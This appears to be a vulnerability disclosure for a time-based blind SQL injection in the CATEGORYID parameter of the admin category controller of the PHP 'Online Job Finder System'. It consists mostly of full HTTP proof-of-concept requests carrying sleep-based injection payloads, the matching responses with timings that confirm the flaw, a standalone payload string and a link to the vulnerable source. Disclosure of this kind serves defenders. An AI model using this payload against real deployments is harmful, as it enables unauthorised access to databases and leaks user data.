

SQL injection vulnerability exists in CATEGORYID parameter of /admin/category/controller.php file of Online Job Finder System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 4s:

**Request**

```
1 POST /eris/admin/category/controller.php?action=edit HTTP/1.1
2 Content-Type: application/x-www-form-urlencoded
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/eris/admin/
5 Cookie: PHPSESSID=feg0v5pu505fboaa92vrcqusc4
6 Content-Length: 159
7 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
8 Accept-Encoding: gzip,deflate,br
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
10 Host: 192.168.31.163
11 Connection: Keep-alive
12
13 CATEGORY=Technology&CATEGORYID=
(select(0)from(select(sleep(4)))v)/*%2B(select(0)from(select(sleep(4)))v)%2B"/&
save=
```

**Response**

```
1 HTTP/1.1 200 OK
2 Date: Mon, 18 Mar 2024 10:41:56 GMT
3 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a
4 X-Powered-By: PHP/7.3.4
5 Expires: Thu, 19 Nov 1981 08:52:00 GMT
6 Cache-Control: no-store, no-cache, must-revalidate
7 Pragma: no-cache
8 Keep-Alive: timeout=5, max=100
9 Connection: Keep-Alive
10 Content-Type: text/html; charset=UTF-8
11 Content-Length: 128
12
13
14 <script>
15 window.location='/eris/admin/index.php'
16 </script><script>
17 window.location='index.php'
18 </script>
```

499 bytes | 4,008 millis

Sleep time is 0s:

**Request**

```
1 POST /eris/admin/category/controller.php?action=edit HTTP/1.1
2 Content-Type: application/x-www-form-urlencoded
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/eris/admin/
5 Cookie: PHPSESSID=feg0v5pu505fboaa92vrcqusc4
6 Content-Length: 159
7 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
8 Accept-Encoding: gzip,deflate,br
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
10 Host: 192.168.31.163
11 Connection: Keep-alive
12
13 CATEGORY=Technology&CATEGORYID=
(select(0)from(select(sleep(0)))v)/*%2B(select(0)from(select(sleep(0)))v)%2B"/&
save=
```

**Response**

```
1 HTTP/1.1 200 OK
2 Date: Mon, 18 Mar 2024 10:42:31 GMT
3 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a
4 X-Powered-By: PHP/7.3.4
5 Expires: Thu, 19 Nov 1981 08:52:00 GMT
6 Cache-Control: no-store, no-cache, must-revalidate
7 Pragma: no-cache
8 Keep-Alive: timeout=5, max=100
9 Connection: Keep-Alive
10 Content-Type: text/html; charset=UTF-8
11 Content-Length: 128
12
13
14 <script>
15 window.location='/eris/admin/index.php'
16 </script><script>
17 window.location='index.php'
18 </script>
```

499 bytes | 9 millis

Payload: CATEGORYID=(select(0)from(select(sleep(4)))v)/\*%2B(select(0)from(select(sleep(4)))v)%2B"/&save=

Source Download:

<https://www.campcodes.com/projects/php/online-job-finder-system/>